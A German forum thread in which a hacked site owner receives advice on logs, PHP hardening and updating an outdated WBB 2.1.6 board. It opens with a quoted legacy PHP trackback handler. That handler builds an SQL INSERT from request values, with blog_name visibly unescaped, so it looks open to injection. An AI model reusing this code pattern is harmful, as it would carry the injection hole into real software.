	// Check for spam (3.1)
	bmc_filterSpam($title);
	bmc_filterSpam($excerpt);


// The blog name
if(!empty($_REQUEST['blog_name'])) {
	$blog_name=substr(mb_convert_encoding($_REQUEST['blog_name'],$lang['ENCODING'],$charset),0,75);
} else {
	$blog_name="";
}

	// Save the data
	$db->query("INSERT INTO ".MY_PRF."trackbacks (title,url,excerpt,blog_name,date,post) VALUES('{$title}','{$url}','{$excerpt}','{$blog_name}','".time()."','{$track_post['id']}')");

	// Send the response
	bmc_trackback_respond(1, "Ping accepted");

	// Trackback reception ends here!
	//====================================================




//============ Function to send response in XML format

function bmc_trackback_respond($error=0,$text="") {
global $lang;

$fp=fopen(CFG_ROOT."/inc/vars/track.log", "w+");
fputs($fp, serialize($_REQUEST));
fclose($fp);


	header("Content-type: text/xml\n\n"); // XML header
echo <<<EOF
	<?xml version="1.0" encoding="{$lang['ENCODING']}"?>
	<response>
	<error>$error</error>
	<message>$text</message>
	</response>
EOF;
exit;
}

?>
 
http://de.wikipedia.org/wiki/Trackback

Das is alles sauber und die Datei is normal, sofern du ein Blog hast/hattest. Scheint halt noch ein Rest zu sein.

Du sagtest doch, alle Dateien wären gelöscht worden. Dann ist auch die verwundbare Anwendung gelöscht worden und evtl. PHP-Injections oder XSS-Angriffe sind somit auch nicht mehr direkt feststellbar.
Also Seite neu aufspielen und auf die eingesetzten PHP-Anwendungen acht geben, denn es werden andauernd neue Sicherheitslücken in irgendwelchen Anwendungen bekannt....
Wenn du wissen willst, was passiert is, knöpf dir mal die Apache-Logfiles vor bzw zeig sie hier jmd. Unter Umständen können da aber ein paar sensible Informationen drin stehen, also soltlest du das nicht direkt hier rein posten. Wenn du willst schick mir ne PM oder frag den Admin deines Vetrauens. ;)

Desweiteren empfehle ich dir deine PHP-Config sicherer zu konfigurieren, damit solche Sicherheitslücken in Zukunft besser eingeschränkt werden bzw garnicht erst möglich sind.

Und dein Provider soltle den Server auch gründlich durchchecken ob er nicht sonst in irgendeiner Weise kompromittiert wurde (was bei deinen PHP-Einstellungen möglich wäre).

Das hab ich aber alles mehr oder weniger schonmal geschrieben....

[OFFTOPIC]
Also, irgendwie weiß ich nun nicht was ich von diesem Angebot von 1&1 halten soll.
70Euro für nen "Managed"-Server? Wobei das Managed sich in dem Fall darauf zu beziehen scheint, dass sie den Server aufsetzen und "apt-get install" eintippen und vielleicht von Zeit zu Zeit die Festplatte aufräumen....
Hast du dir mal überlegt, dass du evtl mit einem reinen Webhosting-Vetrag billiger wegkommst und genauso zufrieden bist? Oder hast du soviele Besucher und Traffic, dass sich ein eigener Server lohnt?
[/OFFTOPIC]
 
Ich habe mir jetzt zwar nicht komplett alles durchgelesen aber da du von einem Board sprachst bzw. WBB 2.1.6: Dafür gibt es mehrer Exploits. Da ich nicht unbedingt denke, dass ein Profi hier am Werk war stellt ich mal folgendes Szenario in den Raum: Der "Hacker" (Scriptkiddy) hat das Forum exploitet und eine Shell(z.B. C99) hochgeladen, dadurch Zugriff auf die Seite gehabt und die index.php gelöscht/bearbeitet bzw. auch Zugriff auf alle Dateien gehabt.

mfg
Evo
 
Original von quux
Du sagtest doch, alle Dateien wären gelöscht worden. Dann ist auch die verwundbare Anwendung gelöscht worden und evtl. PHP-Injections oder XSS-Angriffe sind somit auch nicht mehr direkt feststellbar.
Ja, sie wurden auch direkt vom Server gelöscht. Nun aber ist es so, das wir einen Tag später von unserem Anbieter netterweise ein Backup sämtlicher Daten bekommen haben. Diese Backup war 3 Tage alt. Nun habe ich die Befürchtung, das die bösen Dateien o.ä. immer noch da sind, also das es wieder passieren wird. Zwar habe ich schon alles nachgeschaut, aber mir ist soweit nichts verdächtiges aufgefallen. Gibt es nicht Tools womit ich es prüfen kann? Ich muss doch irgendwie Gewissheit bekommen.

Original von quux
Wenn du wissen willst, was passiert is, knöpf dir mal die Apache-Logfiles vor bzw zeig sie hier jmd. Unter Umständen können da aber ein paar sensible Informationen drin stehen, also soltlest du das nicht direkt hier rein posten. Wenn du willst schick mir ne PM oder frag den Admin deines Vetrauens. ;)
Ich möchte nun mal versuchen mir die Apache-Logfiles anzuschauen, auch wenn ich schon damit rechne das ich sie eh nicht verstehen werde. Doch mir steltt sich auch gerade die Frage wo ich die Finde? Auf dem Server oder? Naja, wer suchet der findet..... :)
Naja, ich bin ja nun noch nicht soooo lange hier! :D Und einen Admin meines Vertrauens habe ich noch nicht. Doch ich würde mich freuen, wenn ich mich bei Unklarheiten per PM an dich wenden dürfte. :)

Original von quux
Desweiteren empfehle ich dir deine PHP-Config sicherer zu konfigurieren, damit solche Sicherheitslücken in Zukunft besser eingeschränkt werden bzw garnicht erst möglich sind.
Vielen Dank. Das werden wir in den kommenden Tagen auch tun, nochmal möchten wir sowas nicht erleben. :rolleyes:

Original von quux
Und dein Provider soltle den Server auch gründlich durchchecken ob er nicht sonst in irgendeiner Weise kompromittiert wurde (was bei deinen PHP-Einstellungen möglich wäre).
Auch das werden wir tun, ich denke das wir dies auch erwarten können.

Original von quux
[OFFTOPIC]
Also, irgendwie weiß ich nun nicht was ich von diesem Angebot von 1&1 halten soll.
70Euro für nen "Managed"-Server? Wobei das Managed sich in dem Fall darauf zu beziehen scheint, dass sie den Server aufsetzen und "apt-get install" eintippen und vielleicht von Zeit zu Zeit die Festplatte aufräumen....
Hast du dir mal überlegt, dass du evtl mit einem reinen Webhosting-Vetrag billiger wegkommst und genauso zufrieden bist? Oder hast du soviele Besucher und Traffic, dass sich ein eigener Server lohnt?
[/OFFTOPIC]
Wir hatten all die Jahre immer einen Webhosting-Vetrag und waren auch eigentlich immer sehr zufrieden, bis wir wegen Trafficüberschreitung immer nachzahlen durften. Gerade wegen den Besuchern und dem Traffic mussten wir darauf umsteigen und leicht ist uns das nicht gefallen.

Original von Evo
Ich habe mir jetzt zwar nicht komplett alles durchgelesen aber da du von einem Board sprachst bzw. WBB 2.1.6: Dafür gibt es mehrer Exploits. Da ich nicht unbedingt denke, dass ein Profi hier am Werk war stellt ich mal folgendes Szenario in den Raum: Der "Hacker" (Scriptkiddy) hat das Forum exploitet und eine Shell(z.B. C99) hochgeladen, dadurch Zugriff auf die Seite gehabt und die index.php gelöscht/bearbeitet bzw. auch Zugriff auf alle Dateien gehabt.
Ja, wir haben noch ein Wbb 2.1.6, werden jetzt aber aufrüsten auf den neuesten Stand. Vielleicht sind wir nur mit einem blauen Auge davon gekommen.

LG, Maggie
 
Wenn du einen ssh-Zugang hast, dann findest du die Apache-Logfiles normalerweise unter /var/log/apache. Interessant sind die Dateine access.log und error.log (und access.log.1 & error.log.1). Wenn du keinen direkten Server-Zugang hast, dann lass dir die Dateien vom Provider schicken.

Wenn ihr ein Backup eingespielt habt, dann ist die verwundbare Anwendung auch wiederhergestellt und somit besteht die Sicherheitslücke noch. Also unbedingt fixen bzw updaten auf eine bisher bugfreie Version.

Zu ein paar anderen Punkten hab ich dir ne PM geschrieben. Schau also mal in deinen Posteingang. ;)
 
Original von quux
Wenn du einen ssh-Zugang hast, dann findest du die Apache-Logfiles normalerweise unter /var/log/apache. Interessant sind die Dateine access.log und error.log (und access.log.1 & error.log.1). Wenn du keinen direkten Server-Zugang hast, dann lass dir die Dateien vom Provider schicken.
Erstmal vielen Dank für deine Antwort. Ich habe schon mal nachgeschaut und wenn ich wollte, so könnte ich die Logs einsehen, nur wie? Macht man das mit einem Programm, denn so einfach geht das irgendwie nicht. *kopfkratz*

Original von quux
Wenn ihr ein Backup eingespielt habt, dann ist die verwundbare Anwendung auch wiederhergestellt und somit besteht die Sicherheitslücke noch. Also unbedingt fixen bzw updaten auf eine bisher bugfreie Version.
Es ist so: Wir haben nun nich das vollständige Backup eingespielt, sondern alle PHP Anwendungen weggenommen die wir aktuell absolut nicht benötigen. Wenn diese Sicherheitsücke noch da ist, könnte ich diese dann erkennen? Und was meinst du mit fixen/updaten?

Original von quux
Zu ein paar anderen Punkten hab ich dir ne PM geschrieben. Schau also mal in deinen Posteingang. ;)
Vielen Dank, ich habe dir eben auch geantwortet. :)

LG, Maggie
 
1. die Log-Dateien lädst du einfach auf deinen PC und guckst die mit dem Editor an.
2. fixen ist wenn man einen Bug oder eine Sicherheitslücke behebt, indem man das Programm umschreibt. Man muss dann die Lücke finden und dann halt beheben. Erkennen kannst du sowas, wenn du in den Logfiles einen Hinweis findest was der Angreifer ausgenutzt hat.

MFG -=HKA=-
 
Zurück
Oben